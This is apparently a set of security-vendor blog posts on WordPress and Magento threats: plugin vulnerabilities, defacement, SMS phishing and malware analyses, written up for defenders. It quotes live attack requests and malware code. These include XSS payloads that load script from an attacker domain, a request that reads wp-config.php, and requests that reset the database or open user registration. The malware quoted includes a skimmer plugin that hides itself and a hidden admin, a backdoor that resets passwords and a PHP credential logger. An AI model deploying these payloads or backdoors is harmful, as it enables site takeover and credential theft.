Reflected XSS in Advanced Ads Admin Dashboard

A patch for a vulnerability in the Advanced Ads plugin has been released. Prior to version 1.17.4, attackers were able to exploit two reflected XSS attacks via the admin dashboard.

Both vulnerabilities are related to the advads-last-edited-group property, which should normally be a number.

As the argument in this property was not sanitized, a malicious payload can be injected into websites using vulnerable versions of this plugin, causing up to two reflected XSS on the page.

$last_edited_group_id = 0;
if ( isset( $_REQUEST['advads-last-edited-group'] ) ) {
        $last_edited_group_id = $_REQUEST['advads-last-edited-group'];
        ?>
        <script>
                var body = document.getElementsByTagName("body")[0];
                body.addEventListener("load", function(){
                        jQuery('#advads-ad-group-<?php echo $last_edited_group_id; ?>').get(0).scrollIntoView(false);
                }, true);
        </script>
        <?php
}// ...
<div id="advads-ad-group-list">
        <form action="" method="post" id="advads-form-groups">
                <?php wp_nonce_field( 'update-advads-groups', 'advads-group-update-nonce' ); ?>
                <table class="wp-list-table widefat fixed adgroups">
                        <?php $ad_groups_list->render_header(); ?>
                        <?php $ad_groups_list->render_rows(); ?>
                </table>
<input type="hidden" name="advads-last-edited-group" id="advads-last-edited-group" value="<?php echo $last_edited_group_id; ?>"/>
                <div class="tablenav bottom">
                        <?php submit_button( __( 'Update Groups', 'advanced-ads' ) ); ?>
                </div>
        </form>
</div>

If a website administrator visits an attacker’s specially crafted link, the bad actor may be able to gain access to the compromised environment and obtain access to the account.

Timeline:

  • 2020-03-08: Initial disclosure
  • 2020-03-09: Update provided by the developer
  • 2020-03-09: Version 1.17.4 released

Mitigation Steps:

Websites with Ads Admin versions lower than 1.17.4 should update their plugins to the latest patch immediately to mitigate risk. As always, customers using our WAF are protected from this issue with our virtual patching technology.

 

Innocent Defacement

When we talk about defacements, we’re usually referring to attacks leading to a visual takeover of a website’s page ― consider it a form of vandalism or graffiti.

Often distributed by hacktivists via political motivation, defacements usually include one of the following scenarios: either the attacker has replaced the existing page with content related to a specific theme like raising awareness to a particular website vulnerability or a political topic, or simply hosting general information about the attacker to get some “street rep”.

Once in a while, we find a defacement that doesn’t really fit either of these scenarios. For example, our colleague Kaushal Bhavsar recently found this defacement that seemed to have only one sole objective: to be really annoying.

Innocent defacement found on compromised website

When visiting the site, users see the overlay (above) with absolutely no way to minimize or remove it from the interface. And while this may not seem like an obvious website threat, this clearly indicates a compromised environment.

Here is the code that the attacker injected into the theme’s footer.php file to serve the unwanted pop-up:

<?php
<script>
jQuery(document).ready(function(){
    jQuery('body').append('<div class="alert-box" style="display: block;position: fixed;top: 0;right: 0;left: 0;width: 50%;background-color: white;text-align: center;margin: 0 auto;margin-top: 19%;border: 4px solid red;border-radius: 10px;padding-top: 15px;padding-bottom: 15px;z-index: 99999999999;"><p style="color: red;font-size: 18px;height: auto;line-height: initial;margin-bottom: 2px;">NOTICE!</p><p style="color: red;font-size: 18px;height: auto;line-height: initial;margin-bottom: 2px;">Owner of  https://REDACTED.com </p><p style="margin-bottom: 0px;color: red;font-size: 18px;height: auto;line-height: initial;">This website is not equipped with readability feature for Visually impaired!</p></div>');
});
</script>

?>

This defacement may seem strange, but we can speculate on why it was added to the website. Perhaps the attacker was trying to be annoying or raise awareness to the fact that the website was vulnerable?

Luckily, the attacker didn’t include more disruptive malware or unsavory content, but the effects of this compromise could have been devastating.

To mitigate risk, we encourage website owners to keep an eye out for any changes to website files. Website monitoring solutions can help you detect code anomalies, modifications like this defacement, and other indicators of compromise on your website.

Phishing and Malware via SMS Text Message

We’ve recently noticed an increase in reports of phishing and malware being distributed via SMS text messages.

During one investigation, we identified fake messages sent from a random number pretending to be Amazon. The message contents ask the victim to click on the link to confirm their shipping address.

Fake Amazon phishing text message

The URL bears no resemblance to Amazon and clearly doesn’t employ Amazon’s URL shortener (amzn.com). Unfortunately, we were unable to confirm exactly what the attackers were directing users to since hxxp://k8esv[.]info now returns a 404 (Not Found) response, but it's clear that it’s being used for phishing or malware.

In most phishing cases seen distributed via SMS, victims are taken to a fake page ― for example, one that looks like Amazon’s signup page ― and asked to login to access important order information or confirm a purchase.

To the untrained eye, these SMS phishing pages might appear to belong to the real Amazon website, but submitting login credentials typically results in a successful phish ― and an account compromise.

The suspicious domain is hosted on 47.240.4.254 which also appears to be hosting other similar domains:

suspicions phishing domains hosted on 47.240.4.254

The IP address belongs to Alibaba Cloud:

Alibaba.com LLC AL-3 (NET-47-235-0-0-1) 47.235.0.0 - 47.246.255.255

ALICLOUD-HK ALICLOUD-HK (NET-47-240-0-0-1) 47.240.0.0 - 47.240.255.255

The domain was registered through namecheap.com and has WHOIS protection, so we can’t see who was responsible for registering hxxp://k8esv[.]info. What we can tell is that these other suspicious domains were also registered there, suggesting the same person was involved.

We’re finding many variations of SMS phishing campaigns, and not every text looks the same. Users should always exercise caution when receiving SMS from unknown numbers.

To mitigate risk, avoid clicking on any links inside text messages ― especially if they are coming from an unknown number and lead to suspicious URLs. If you receive an SMS message similar to this one, login directly to your Amazon account via the Amazon website and check if there are any issues or status updates that require your attention from the account dashboard.

We will continue investigating this campaign to see if we can get more details about the attack.

Vulnerabilities Digest: February 2020

Fixed Plugins and Vulnerabilities

 

Plugin Vulnerability Patched Version Installs
Duplicator Arbitrary File Download 1.3.28 1000000
Modula Image Gallery Authenticated Stored XSS 2.2.5 70000
Easy Property Listings CSRF 3.4 6000
ThemeREX Addons Remote Code Execution - 40000
Popup Builder SQL injection 3 100000
ThemeGrill Importer Database Wipe 1.6.2 200000
Ninja Forms Authenticated XSS 3.4.23 1000000
GDPR Cookie Consent Improper Access Controls 1.8.3 700000
Participants Database Authenticated SQL Injection 1.9.5.6 10000
Profile Builder Pro User Registration With Administrator Role 3.1.1 50000
Events Manager Pro CSV Injection 2.6.7.2 100000
Htaccess BestWebSoft CSRF to edit .htaccess - Closed
Auth0 Reflected XSS 3.11.3 4000
Portfolio Filter Gallery CSRF & Reflected XSS 1.1.3 10000
Strong Testimonials Stored XSS 2.40.1 90000

Highlights for February 2020

Plugin vulnerabilities allowing attackers to take full control of WordPress sites were most predominant this past month.

ThemeREX Addons

Some versions of the ThemeREX Addons plugin were affected by an unprotected API located in the plugin.rest-api.php file, located at:

wp-content/plugins/trx_addons/includes/plugin.rest-api.php
Vulnerable Code
// Register endpoints
if ( !function_exists( 'trx_addons_rest_register_endpoints' ) ) {
    add_action( 'rest_api_init', 'trx_addons_rest_register_endpoints');
    function trx_addons_rest_register_endpoints() {
        // Return layouts for the Gutenberg blocks
        register_rest_route( 'trx_addons/v2', '/get/sc_layout', array(
            'methods' => 'GET,POST',
            'callback' => 'trx_addons_rest_get_sc_layout',
            ));
        }
}

As demonstrated above, the endpoint registered with the register_rest_route function doesn’t have the permission_callback attribute, which grants it unrestricted access to the function 'trx_addons_rest_get_sc_layout' and all the shortcodes defined there.

Exploit Attempts Seen in the Wild

The following request is used to check if the plugin is installed and the API is active:

5.135.143.224 -- GET -- /wp-json/trx_addons/v2/get/sc_layout?sc=sdw1dd1 -- - -- 2020-02-19

ThemeGrill Demo Importer

ThemeGrill Demo Importer fixed a high criticality access bypass vulnerability caused by the lack of access restriction in critical function. This bug allows attackers to remove all WordPress tables.

Exploit Attempts Seen in the Wild
107.180.225.158 - - [18/Feb/2020:03:43:19 +0000] "GET /wp-admin/admin-ajax.php?do_reset_wordpress=1 HTTP/1.1" 400 11 "-"
144.217.50.66 - action=heartbeat [18/Feb/2020:19:36:06 +0000] "POST /wp-admin/admin-ajax.php?do_reset_wordpress=true HTTP/1.1" 200 59 "http://site.com/wp-admin/edit.php"
Patch (version 1.6.2)
Index: themegrill-demo-importer/trunk/includes/class-demo-importer.php
===================================================================
--- a/themegrill-demo-importer/trunk/includes/class-demo-importer.php
+++ b/themegrill-demo-importer/trunk/includes/class-demo-importer.php
@@ -378,4 +378,8 @@
         global $wpdb, $current_user;
 
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_die( __( 'Cheatin&#8217; huh?', 'themegrill-demo-importer' ) );
+        }
+        
         if ( ! empty( $_GET['do_reset_wordpress'] ) ) {
             require_once ABSPATH . '/wp-admin/includes/upgrade.php';
Detected IPs
45.129.96.17
107.180.225.158
144.217.50.66
77.71.115.52
182.161.69.114
5.101.0.209
190.117.233.114
156.204.11.228
222.254.76.56

Duplicator Download

A patch was released to protect against unauthenticated file downloads in Duplicator Download. This vulnerability was caused by the lack of restrictions in critical functions.

Exploit Attempts Seen in the Wild
104.238.95.46 - -  "GET /wp-admin/admin-ajax.php?action=duplicator_download&file=dupl.txt HTTP/1.1" 200 11
5.8.8.9 - - [26/Feb/2020] "GET /?action=duplicator_download&file=../wp-config.php HTTP/1.1" 200 16880 "-"
Patch (version 1.3.28)
@@ -244,8 +279,17 @@
     add_action('plugins_loaded',    'duplicator_update');
     add_action('plugins_loaded',    'duplicator_wpfront_integrate');
-    add_action('admin_init',        'duplicator_init');
+
+    function duplicator_load_textdomain()
+    {
+        load_plugin_textdomain('duplicator', false, false);
+    }
+    add_action('plugins_loaded', 'duplicator_load_textdomain');
+
+    add_action('admin_init',        'duplicator_admin_init');

@@ -282,9 +325,9 @@
      * @return null
      */
-    function duplicator_init()
+    function duplicator_admin_init()

Ongoing Campaign Targets Plugin Vulnerabilities

An ongoing malicious campaign that we’ve been actively tracking since early 2019 began ramping up again this month. The campaign targets old, vulnerable plugins to inject malicious scripts into compromised environments.

Malicious domain injected: slow[.]destinyfernandi[.]com

Poll, Survey, Form & Quiz Maker

35.224.59.29 - - [10/Feb/2020] "GET /wp-admin/admin-post.php?page=opinionstage-content-login-callback-page&success=\x22><script type=text/javascript src='https://slow.destinyfernandi.com/hos?&v15'></script> HTTP/1.1"

Fv-wordpress-flowplayer

35.224.59.29 - action=fv_wp_flowplayer_email_signup&list=1&email=<svg/onload=(function() { var elem = document.createElement('script'); elem.type = 'text/javascript'; elem.src = 'https://slow.destinyfernandi.com/hos?clod';document.getElementsByTagName(\x22head\x22)[0].appendChild(elem);})();>@test.com [10/Feb/2020:06:39:48 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Easy2Map

35.224.59.29 - mapID=1&mapName=%22%3E%3Cscript+src%3D%27https%3A%2F%2Fslow.destinyfernandi.com%2Fhos%3F%26v2%27+type%3Dtext%2Fjavascript%3E%3C%2Fscript%3E [10/Feb/2020] "PUT /wp-admin/admin-ajax.php?action=save_map_name HTTP/1.1"

Live Chat Support

35.224.59.29 - licenseEmail=%22%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Fslow.destinyfernandi.com%2Ftop%27%3E%3C%2Fscript%3E&licenseNumber=43 [10/Feb/2020] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 11 "livechat_settings"

Newspaper WP Theme

54.36.110.8 - action=td_ajax_update_panel&wp_option%5Busers_can_register%5D=1 [02/Feb/2020] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Kiwi-Social-Share

54.36.110.8 - action=kiwi_social_share_set_option&args%5Bgroup%5D=users_can_register&args%5Bvalue%5D=1 [02/Feb/2020 +0000] "PUT /wp-admin/admin-ajax.php HTTP/1.1"

WP GDPR Compliance

54.36.110.8 - --06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821\x0D\x0AContent-Disposition: form-data; name=\x22fff\x22; filename=\x220.txt\x22\x0D\x0AContent-Type: application/octet-stream\x0D\x0A\x0D\x0A0\x0D\x0A--06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821\x0D\x0AContent-Disposition: form-data; name=\x22action\x22\x0D\x0A\x0D\x0Awpgdprc_process_action\x0D\x0A--06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821\x0D\x0AContent-Disposition: form-data; name=\x22security\x22\x0D\x0A\x0D\x0A\x0D\x0A--06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821\x0D\x0AContent-Disposition: form-data; name=\x22data\x22\x0D\x0A\x0D\x0A{\x22type\x22:\x22save_setting\x22,\x22append\x22:false,\x22option\x22:\x22users_can_register\x22,\x22value\x22 :\x221\x22}\x0D\x0A--06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821--\x0D\x0A [02/Feb/2020] "POST /wp-admin/admin-ajax.php HTTP/1.1"

PhpMyAdmin and Adminer Scripts

Attackers were found to continue leveraging vulnerable versions of adminer as an infection vector this past February.

Regardless of a websites size, attackers are constantly scanning the internet for exploitable sites. We're seeing a well known attack vector targeting database connection scripts. Here’s the evidence of these malicious requests:

Requests
158.255.238.129 -- GET -- /programs/adminer.php -- - -- 2020-02-02T18:57:23.367Z

212.32.230.162 -- GET -- /temp/adminer.php -- - -- 2020-02-02T19:50:58.552Z

212.32.230.162 -- GET -- /scripts/adminer.php -- - -- 2020-02-03T07:35:56.110Z

198.12.153.39 -- GET -- /log/adminer.php -- - -- 2020-02-03T09:33:46.683Z

212.32.230.162 -- GET -- /adm/adminer.php -- - -- 2020-02-03T13:21:42.542Z

198.12.153.39 -- GET -- /share/adminer.php -- - -- 2020-02-03T20:34:24.056Z

158.255.238.129 -- GET -- /share/adminer.php -- - -- 2020-02-03T20:53:14.112Z

185.209.0.8 -- GET -- /adminer.php -- - -- 2020-02-04T12:52:42.725Z

103.90.228.16 -- GET -- /js/adminer.php -- - -- 2020-02-05T08:05:56.863Z

54.36.110.8 -- GET -- /adminer-4.7.1-mysql-en.php -- - -- 2020-02-02T04:56:59.579Z

54.36.110.8 -- GET -- /adminer-4.7.1-cs.php -- - -- 2020-02-02T04:56:58.579Z

54.36.110.8 -- GET -- /adminer-4.7.1.php -- - -- 2020-02-02T04:56:59.579Z

161.0.16.17 -- GET -- /adminer-4.6.1.php -- - -- 2020-02-19T19:52:49.096Z

172.245.217.109 -- GET -- /adminer2018.php -- - -- 2020-02-19T19:52:49.096Z

23.81.22.136 -- GET -- /adminer2020.php -- - -- 2020-02-19T19:52:49.096Z

161.0.16.17 -- GET -- /adminer12345.php -- - -- 2020-02-19T19:52:49.096Z

161.0.16.17 -- GET -- /adminer-4.6.1-mysql.php -- - -- 2020-02-19T19:52:49.096Z

54.36.110.8 -- GET -- /adminer-4.7.1-mysql.php -- - -- 2020-02-02T04:56:59.579Z

54.36.110.8 -- GET -- /adminer-4.7.2-en.php -- - -- 2020-02-02T04:57:00.580Z

54.36.110.8 -- GET -- /adminer-4.7.2-cs.php -- - -- 2020-02-02T04:57:00.580Z

54.36.110.8 -- GET -- /adminer-4.7.2-mysql-en.php

221.238.227.43 -- GET -- /admin/phpmyadmin/index.php -- - -- 2020-02-20T00:54:35.767Z

221.238.227.43 -- GET -- /phpmyadmin0/index.php -- - -- 2020-02-20T00:54:38.772Z

221.238.227.43 -- GET -- /phpmyadmin1/index.php -- - -- 2020-02-20T00:54:38.772Z

221.238.227.43 -- GET -- /phpmyadmin2/index.php -- - -- 2020-02-20T00:54:38.772Z

221.238.227.43 -- GET -- /xampp/phpmyadmin/index.php -- - -- 2020-02-20T00:54:41.776Z

221.238.227.43 -- GET -- /myadmin2/index.php -- - -- 2020-02-20T00:54:41.776Z

221.238.227.43 -- GET -- /myadmin/index.php -- - -- 2020-02-20T00:54:41.776Z

221.238.227.43 -- GET -- /phpmyadmin-old/index.php -- - -- 2020-02-20T00:54:43.778Z

221.238.227.43 -- GET -- /typo3/phpmyadmin/index.php -- - -- 2020-02-20T00:54:44.781Z

221.238.227.43 -- GET -- /phpmyadmin2222/index.php -- - -- 2020-02-20T00:54:50.788Z

[...]

Public exploits already exist for all of the components listed above. We strongly encourage you to keep your software up to date to prevent infection. Websites behind the Sucuri Firewall are protected against these exploits.

Skimmer Plugin Hides Itself From wp-admin

Our analyst Moe O recently discovered an interesting Javascript injection that was stealing submitted payment data from visitors on a WordPress website with a Woocommerce storefront.

The Javascript was found to be loading from a malicious plugin named wpdefault, which had been installed by the attacker. This malicious plugin contained two separate files within its directory.

./wp-content/plugins/wpdefault/wpdefault.php
./wp-content/plugins/wpdefault/test.php

The wpdefault.php file contains the Javascript used to capture submitted payment details from visitors on the infected website. It’s a rather unusual file — it appears the attacker was trying to create a “swiss army knife” payment sniffer for different payment processors (e.g Stripe, Square, Authorize.net) that are available on ecommerce platforms.

Most of wpdefault.php contains code that is commented out and therefore not run, but these comments all include similar Javascript used to capture the payment details submitted when the victim clicks on Place Order or equivalent payment button.

Once captured, the stolen data is stored in the msg and params variables so that it can be exfiltrated to the attacker through a generated XMLHttpRequest. This request is sent to a website controlled by the attacker — and in this case, looks to be a compromised third-party website (neuro-programmer[.]de) rather than an outright malicious domain.

stolen data storage and generated XMLhttprequest

Since the malicious plugin has been installed within the WordPress installation, it has access to add_action which hooks a defined function to a WordPress action.

To highlight this behavior further, let’s examine the actions and functions below.

function secret_plugin_webcusp() {
    global $wp_list_table;
    $hidearr = array('wpdefault/wpdefault.php');
    $myplugins = $wp_list_table->items;
    foreach ($myplugins as $key => $val) {
        if (in_array($key,$hidearr)) {
        unset($wp_list_table->items[$key]);
        }
    }
}
add_action('pre_current_active_plugins', 'secret_plugin_webcusp');

The malware uses the pre_current_active_plugins action alongside the secret_plugin_webcusp function to prevent WordPress from showing the plugin’s name in the Active Plugins list, making it difficult for website owners to identify that the wpdefault plugin has been installed in their environment.

It then uses the pre_user_query action with the created function yoursite_pre_user_query to hide the malicious WordPress administrator wpuser55346 from view in the /wp-admin interface.

function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'wpuser55346'",$user_search->query_where);
}
add_action('pre_user_query','yoursite_pre_user_query');

A final function — rgkirjeo — is hooked with the login_footer action, which uses Javascript to capture the user_login and user_pass data from login attempts made on the /wp-admin page.

rgkirjeo function hooked with login_footer to capture login and passwords

This malicious plugin was found to be exhibiting behavior similar to this injection we covered last year. It is also related to an investigation made in 2017 which found WordPress classes being used to hide malicious users.

Credit card skimmers can be hidden within compromised environments using a variety of techniques — and methods can extend way beyond hiding them in malicious plugins. Website owners should perform regular security scans of web assets to detect skimmers and other indicators of compromise.

Malicious WordPress User Hijacker

Our analyst Liam Smith recently found a malicious file with the name wp-atom2.php on a compromised WordPress site that had been infected with pharma spam. The spam content had been found injected into the _postmeta table within the WordPress database.

The malicious wp-atom2.php file loads wp-config.php using the require_once function, which contains the database’s host, username, and password information. The attacker can then use this MySQL connection information to authenticate with the MySQL database for the targeted WordPress website.

If the attacker simply loads the file in the browser, the output will just include an array of the data found within the _users table of the WordPress database:

$sql = $mysqli->query("SELECT * FROM {$table_prefix}users LIMIT 0, 10 ");
while($rows = $sql->fetch_assoc()) {
?>
    <pre>
<?php print_r($rows); ?>
    </pre>

This _users table output is extremely helpful to the attacker — it contains information that can be used to create a backdoor and maintain unauthorized access to the compromised environment.

Array WordPress User Hijacker

The ID value can be used to select the user that the attacker wants to change the password for. To change the password, the attacker just needs to submit a crafted GET request with the ID and pass or new parameter.

If pass is used, the attacker can provide their own MD5 hash value to be inserted into the user ID that is included in their HTTP GET request:

/wp-atom2.php?pass=21232f297a57a5a743894a0e4a801fc3&id=2
require_once('wp-config.php');
$mysqli = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
if ( isset($_GET['pass']) ) {
    $id  = (isset($_GET['id']) ? (int) $_GET['id'] : 1);
    $pas = $_GET['pass'];
    if (isset($pas)) {
        $mysqli->query("UPDATE {$table_prefix}users SET user_pass = '{$pas}' WHERE ID = '{$id}'");
    }

If the attacker uses new, a password value doesn’t need to be provided at all. Instead, the script defaults to the password 12345 for the provided user ID. It then goes on to use the function wp_signon to authenticate the new password and generate a hyperlink to /wp-admin that the attacker can click on for direct access to the /wp-admin interface.

/wp-atom2.php?new&id=2
} elseif ( isset($_GET['new']) ) {
    $id  = (isset($_GET['id']) ? (int) $_GET['id'] : 1);
    $mysqli->query('UPDATE '.$table_prefix.'users SET user_pass = \'$P$BLIwZyiB0J2XvUAsNyKQI1hyEMox0A0\' WHERE ID = \''.$id.'\'');
    $creds = array();
    $sql = $mysqli->query("SELECT user_login FROM {$table_prefix}users WHERE ID = '{$id}' LIMIT 0, 1");
    $row = $sql->fetch_assoc();    $creds['user_login']     = $row['user_login'];
    $creds['user_password'] = '12345';
    $creds['remember']         = true;    
$user = wp_signon( $creds, false );    
if ( is_wp_error($user) ) {
       echo $user->get_error_message();
    } else { echo '<a href="/wp-admin/" target="_blank">Log into deep</a>'; }
}

The best way to mitigate risk and detect malicious activity is to leverage a website monitoring solution to identify indicators of compromise within your environment.

Magento Login Stealer in Fake bg_white.png Image

Our Remediation team analyst Ben Martin recently found a malicious injection in a compromised Magento 1.9.x installation that was stealing Magento user login credentials.

The injection was found in the core Magento file /app/code/core/Mage/Admin/Model/Session.php hiding alongside legitimate PHP code.

  $validate_session = fopen(getcwd()."/media/wysiwyg/bg_white.png", 'a+') or die("Error");
    $session_save2 =  "|Session_strat:".$_SERVER['HTTP_HOST']."Login:".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."Username:".$username."Password:".$password."IP Log:".$_SERVER['REMOTE_ADDR'] . ";" . date("m-d-y=H-i-s") . "\n";
    fwrite($validate_session, $session_save2);
    fclose($validate_session);

The malware works by defining the $validate_session variable to use the fopen function to open the existing bg_white.png file within the /media/wysiwyg/ directory.

This directory is typically used to host various image files, so the existence of a generically named .png file is not unusual. That being said, the contents of the bg_white.png file do not contain any image data at all. Instead, the contents contain sensitive user information, including Magento usernames, passwords, visitor’s IP addresses, request timestamps, and website information.

This stolen data is gathered by the second variable $session_save2, which leverages superglobal variables and various PHP functions to gather a visitor’s login data before saving it to the file opened by variable $validate_session.

A distinct red flag that caught our attention is the size of the bg_white.png file — it can be enormous. One sample ended up being over 1.4MB in size. The fake image was using much more disk space than similar legitimate images in the same directory. The reason its large size was that it had been stealing Magento login credentials every time someone had logged into their account for over one year. This resulted in over 7,500 lines of stolen logins dating back to February 2019.

To obtain these stolen credentials, the attacker simply needs to send a request for the image file to the infected website. The image file will then be downloaded, complete with all of the stolen Magento logins. Bad actors can easily download the file automatically using a schedule tasker or cron job tool to grab the image with wget and conveniently store it at a defined location.

If you suspect that your Magento site has been compromised or login credentials are being stolen, we offer a free hacked Magento guide to assist you with clean up. Our remediation specialists are also available to lend a hand with malware removal.